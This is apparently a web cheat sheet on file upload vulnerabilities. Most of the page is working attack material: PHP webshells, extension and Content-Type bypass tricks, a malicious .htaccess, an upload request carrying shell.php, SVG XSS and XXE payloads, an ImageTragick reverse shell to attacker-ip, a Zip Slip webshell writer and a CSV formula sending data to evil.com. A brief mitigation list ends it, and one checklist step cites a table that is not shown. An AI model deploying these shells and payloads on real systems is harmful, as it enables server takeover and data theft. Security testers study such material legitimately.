📁 File Upload Vulnerabilities – Complete Guide
Bypass techniques, webshells, .htaccess attacks, MIME type spoofing, encoding tricks, and advanced exploitation.
🎯 Attack Surface & Extensions Impact
- ASP, ASPX, PHP5, PHP, PHP3 → Webshell, RCE
- SVG → Stored XSS, SSRF, XXE
- GIF → Stored XSS, SSRF
- CSV → CSV injection
- XML → XXE
- AVI → LFI, SSRF
- HTML, JS → HTML injection, XSS, open redirect
- PNG, JPEG → Pixel flood attack (DoS)
- ZIP → RCE via LFI, DoS
- PDF, PPTX → SSRF, Blind XXE
🛡️ Bypass Techniques
Blacklisting Bypass
- PHP → .phtml, .pht, .php2, .php3, .php4, .php5, .shtml, .phar, .inc
- ASP → .asp, .aspx, .cer, .asa
- JSP → .jsp, .jspx, .jsw, .jsv, .jspf
- Coldfusion → .cfm, .cfml, .cfc, .dbm
- Random capitalization → .php, .pHp, .PhAr
Whitelisting Bypass
- Double extensions: file.jpg.php, file.php.jpg
- Null byte: file.php%00.jpg, file.php\x00.jpg
- Special chars: file.php%20, file.php%0d%0a.jpg, file.php..... , file.php/ , file.php\
Content‑Type & Magic Number Bypass
- Change Content‑Type to image/gif, image/png, image/jpeg
- Prepend magic bytes:
echo -e '\xFF\xD8\xFF\xE0\n<?php system($_GET['cmd']); ?>' > shell.jpg.php - Use exiftool to inject PHP into JPEG comments:
exiftool -Comment='<?php system($_GET['cmd']); ?>' pic.jpg
🧪 Advanced Extension Splitting – Encoding & Special Characters
Many modern filters look for simple patterns like .php or .jpg. By injecting control characters, newlines, tabs, or encoded sequences, attackers can split the extension in a way that the server interprets differently from the filter.
🔥 .htaccess Attack – Changing Server Configuration
If the server allows uploading .htaccess files, an attacker can change how files in the same directory are parsed. For example, forcing all .jpg files to be executed as PHP.
# Malicious .htaccess content AddType application/x-httpd-php .jpg # Then upload shell.jpg containing PHP code <?php system($_GET['cmd']); ?> # Access the file as shell.jpg?cmd=id → PHP code executes!
.jpg but the server treats it as PHP.
📏 Bypassing Image Size / Pixel Limits
Some servers check that uploaded images meet minimum dimensions or file size. A minimal PHP webshell can be as small as a few bytes, easily bypassing size restrictions.
# Minimal PHP webshell (6 bytes) <?=`$_GET[1]`?> # Even shorter <?= $_GET[1] ?> # With GIF magic bytes to pass image validation GIF89a;<?=`$_GET[1]`?>
🔧 Content-Type Bypass – Detailed
Many applications only check the Content-Type header sent by the browser. This is easily manipulated in Burp Suite or any intercepting proxy.
# Step 1: Capture upload request POST /upload HTTP/1.1 Content-Type: multipart/form-data; boundary=----WebKitFormBoundary ------WebKitFormBoundary Content-Disposition: form-data; name="file"; filename="shell.php" Content-Type: application/x-php <?php system($_GET['cmd']); ?> ------WebKitFormBoundary-- # Step 2: Change Content-Type to an allowed type Content-Type: image/jpeg # Step 3: Also change filename extension if needed (double extension) filename="shell.php.jpg" # Step 4: Forward the request – upload succeeds!
💣 Advanced Payloads via Upload
# SVG XSS
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>
# SVG XXE
<!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]>
<svg width="500px" height="500px" xmlns="http://www.w3.org/2000/svg"><text font-size="40" x="0" y="16">&xxe;</text></svg>
# ImageTragick (ImageMagick RCE)
push graphic-context
viewbox 0 0 640 480
fill 'url(https://127.0.0.1/test.jpg"|bash -i >& /dev/tcp/attacker-ip/4444 0>&1")'
pop graphic-context
# Zip Slip – malicious ZIP
python3 -c 'import zipfile; zf=zipfile.ZipFile("malicious.zip","w"); zf.writestr("../../../../var/www/html/shell.php","<?php system($_GET[\"cmd\"]); ?>"); zf.close()'
# CSV injection
=HYPERLINK("http://evil.com/steal?data="&A1,"Click me")
⚙️ Testing Methodology (Checklist)
- 1. Upload .php → expected block
- 2. Change extension to .phtml, .php5, .phar → try to execute
- 3. Use double extension: .jpg.php or .php.jpg
- 4. Intercept request, change Content‑Type to image/gif
- 5. Add magic bytes (GIF89a) at start of PHP file
- 6. Use null byte in filename: shell.php%00.jpg
- 7. Use newline / tab injection (see table above)
- 8. Upload .htaccess with AddType directive (if allowed)
- 9. Upload minimal PHP shell to bypass size limits
- 10. Upload SVG with XSS/XXE payload
- 11. Upload ZIP containing path traversal entries
- 12. Test for race condition (concurrent uploads)
- 13. Check if filename reflected (XSS, command injection)
🛡️ Mitigation
✅ Validate MIME type using magic numbers, not Content‑Type header
✅ Rename uploaded files to random names (strip original extension entirely)
✅ Store files outside webroot, serve via script with content‑disposition
✅ Disable script execution in upload directory (e.g., .htaccess, php_flag engine off)
✅ Block .htaccess uploads
✅ Set minimum image dimensions and validate using server‑side image libraries (e.g., GD, ImageMagick)
✅ Scan uploaded files with antivirus
✅ Implement Content Security Policy to mitigate SVG XSS
✅ Normalize filenames – remove control characters, newlines, tabs, and encoded sequences